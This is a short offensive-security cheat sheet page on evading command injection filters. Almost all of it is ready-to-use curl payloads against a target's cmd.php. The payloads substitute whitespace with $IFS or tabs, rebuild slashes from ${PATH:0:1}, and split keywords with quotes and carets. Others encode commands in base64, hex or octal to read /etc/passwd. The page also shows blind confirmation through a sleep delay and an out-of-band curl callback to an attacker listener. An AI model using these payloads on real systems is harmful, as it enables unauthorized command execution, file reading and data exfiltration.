Skip to content
HackIndex logo

HackIndex

Command Injection Bypasses

2 min read Apr 24, 2026

Command injection filters typically block spaces, slashes, and known command names. Each bypass technique targets a specific filter type. Start with the simplest and move to more complex only if the simpler ones fail. Always confirm baseline injection works first — if whoami executes cleanly, only apply bypasses when a filtered character or keyword blocks further progress.

Space Bypass

Most filters check for literal space (0x20) but miss alternative whitespace and shell expansion:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=cat%09/etc/passwd"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=cat\$IFS/etc/passwd"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd={cat,/etc/passwd}"

Slash Bypass

When / is blocked, reconstruct the path from environment variables:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=cat\${PATH:0:1}etc\${PATH:0:1}passwd"

${PATH:0:1} extracts the first character from $PATH, which is always / on a standard Linux system.

Keyword Blacklist Bypass

Filters that match exact command strings miss these shell parsing tricks:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=w'h'o'am'i"
www-data
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=w\ho\am\i"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=who\$@ami"

On Windows CMD, the caret ^ is an escape character and is ignored during execution:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=who^ami"

Base64 Encoding

Encodes the entire command so no keywords or special characters appear in the request. The most reliable bypass for aggressive keyword filters:

┌──(kali㉿kali)-[~]
└─$ echo -n 'cat /etc/passwd' | base64
Y2F0IC9ldGMvcGFzc3dk
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=bash<<<\$(base64\$IFS-d<<<Y2F0IC9ldGMvcGFzc3dk)"

Hex and Octal Encoding

Shell-level character encoding for when base64 itself is blocked:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=\$(printf '%b' '\x77\x68\x6f\x61\x6d\x69')"
www-data
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=\$'\167\150\157\141\155\151'"
www-data

Blind Injection Confirmation

When command output is not reflected in the response, confirm execution through timing or out-of-band callbacks:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=sleep\$IFS5"
real    0m5.123s
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT &
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=curl\$IFS$LHOST:$LPORT/\$(whoami)"
GET /www-data HTTP/1.1

References